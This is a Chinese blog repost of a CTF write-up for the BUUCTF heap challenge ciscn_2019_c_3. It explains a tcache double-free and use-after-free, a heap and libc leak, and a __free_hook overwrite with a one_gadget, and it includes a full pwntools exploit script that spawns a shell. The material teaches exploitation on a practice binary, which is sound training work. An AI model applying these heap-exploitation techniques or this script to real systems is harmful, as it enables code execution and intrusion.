[BUUCTF] ciscn

[BUUCTF] ciscn,第1张

Ubuntu 18的堆题,需要考虑tcache机制。


checksec发现除了没有Full RELRO之外防护拉满,虽说只是Partial RELRO,但是因为开了PIE的缘故,不太好覆写got表(如果有大佬这样做的欢迎评论留言)。


这里还是选择打free_hook

这题只能申请0x60,0x100,0x4f三种大小的内存,并且下标最大为8

del里面有个大洞,没有堆块指针清零,存在UAF。


有个backdoor,可以让attack_times这个字段增加,增加次数取决于下标,这个字段正好是fd指针位置。


tcache涵盖了smallbin大小的堆块,无论申请什么大小的堆块,在将其释放后都会被放进tcache中进行管理。


tcache中的堆块用单向链表管理,几乎没有什么检查,可以直接double free。


但是tcache链中没有libc信息,需要想办法让free掉的堆块进入unsorted bin中才行。


思路:

1.利用tcache的double free,连续两次释放一个0x100的堆块,使其next指向自身,通过show()泄露堆基址(heapbase)。


2.利用backdoor将重新申请的堆块的next指针下移0x10,然后重新申请该堆块,在其name字段(+0x10偏移)处伪造堆块next指针为heapbase。


3.申请一次0x100,此时tcache中伪造的chunk被取出,现在tcache指向堆基址,即tcache_perthread_struct处,再次申请0x100,并填充数据覆盖tcache_perthread_struct的counts数组,使得0x100对应值为0x07(tcache链中堆块数最大值为7,这样接下来释放的等大小堆块将放进unsorted bin,用于泄露libc基址)。


同时覆盖entries数组,伪造0x70堆块(即申请0x60返回堆块)对应指针位置为heapbase+0x10,方便下一步在entries中写入free_hook。


4.释放一个之前申请的0x100并show出来,计算得到libc基址,free_hook地址,

onegadget地址。


5.申请0x60,由于entries被覆写,的到的堆块还是在tcache_perthread_struct中,再将entries0x70大小堆块的指针修改为free_hook.

6.再次申请0x60,这个堆块现在在free_hook处,修改free_hook为onegadget地址。


随便free一个堆块即可。


因为写name是写在0x10偏移的地方而不是在堆块内存区开头,free_hook写system地址的话,不太好办,还是打onegadget好一些。


exp:

from pwn import *

context.terminal=['tmux','splitw','-h']
#context.log_level='debug'

r=process('/home/wjc/Desktop/ciscn_2019_c_3')
#r=remote('node4.buuoj.cn',29773)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.27_64.so')

def cmd(idx):
    r.recvuntil('Command: ')
    r.sendline(str(idx))
def Create(size,name):
    cmd(1)
    r.recvuntil('size: ')
    r.sendline(str(size))
    r.recvuntil('Give me the name: ')
    if len(name)==size:
        r.send(name)
    else :
        r.sendline(name)
def Show(idx):
    cmd(2)
    r.recvuntil('index: ')
    r.sendline(str(idx))
def Del(idx):
    cmd(3)
    r.recvuntil('weapon:')
    r.sendline(str(idx))
def Backdoor(idx):
    cmd(666)
    r.recvuntil('weapon:')
    r.sendline(str(idx))
def exp():
    Create(0x100,'/bin/sh\x00')     #0
    Create(0x100,'/bin/sh\x00')     #1
    Create(0x100,'/bin/sh\x00')     #2
    Create(0x100,'/bin/sh\x00')     #3
    Del(3)
    Del(3)
    Show(3)
    r.recvuntil('attack_times: ')
    tcache_perthread_struct=int(r.recvline()[:-1])-0x590
    heapbase=tcache_perthread_struct
    print('tcache_perthread_struct:',hex(tcache_perthread_struct))
    for i in range(8):
        Backdoor(3)
    Create(0x100,p64(heapbase)) #4
    Create(0x100,'\x02'*4)    #5
    Create(0x100,'\x07'*(0x40)+'\x00'*0x28+p64(heapbase+0x20))    #6
    Del(0)
    Show(0)
    r.recvuntil('attack_times: ')
    libcbase=int(r.recvline()[:-1])-0x3ebca0
    print('libcbase:',hex(libcbase))
    system_addr=libcbase+libc.symbols['system']
    free_hook=libcbase+libc.symbols['__free_hook']
    one_gadget=libcbase+0x4f322
    print('free_hook',hex(free_hook))
    Create(0x60,'\x00'*0x48+p64(free_hook-0x10))
    Create(0x60,p64(one_gadget))
    Show(0)
    Del(0)

    #gdb.attach(r)
exp()
r.interactive()

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/634480.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-16
下一篇 2022-04-16

发表评论

登录后才能评论

评论列表(0条)

保存